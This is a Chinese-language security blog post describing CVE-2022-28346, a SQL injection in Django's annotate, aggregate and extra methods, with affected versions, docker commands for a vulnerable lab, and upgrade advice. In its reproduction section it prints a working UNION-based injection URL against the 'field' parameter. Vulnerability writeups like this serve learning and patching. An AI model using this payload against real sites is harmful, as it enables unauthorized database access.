CVE-2022-28346:Django SQL注入漏洞

2022-07-05 11,524


上方蓝色字体关注我们,一起学安全!
作者:韭菜@Timeline Sec
本文字数:710
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负


0x01 简介


Django 是用 Python 开发的一个免费开源的 Web 框架,几乎囊括了 Web 应用的方方面面,可以用于快速搭建高性能、优雅的网站,Django 提供了许多网站后台开发经常用到的模块,使开发者能够专注于业务部分。


0x02 漏洞概述


漏洞编号:CVE-2022-28346
攻击者使用精心编制的字典, 通过**kwargs传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击。

0x03 影响版本


4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28

0x04 环境搭建


docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000  s0cke3t/cve-2022-28346

0x05 漏洞复现


通过报错页面可以发现存在哪些接口



访问接口如果存在传参,同样会提示报错信息



使用报错提示的参数进行sql注入

http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --



0x06 修复方式



官方已发布安全版本,下载地址:
https://www.djangoproject.com/download/










本文作者:Timeline Sec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/182469.html

Tags:
评论  (0)
快来写下你的想法吧!

Timeline Sec

文章数:38 积分: 190

欢迎关注公众号Timeline Sec

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号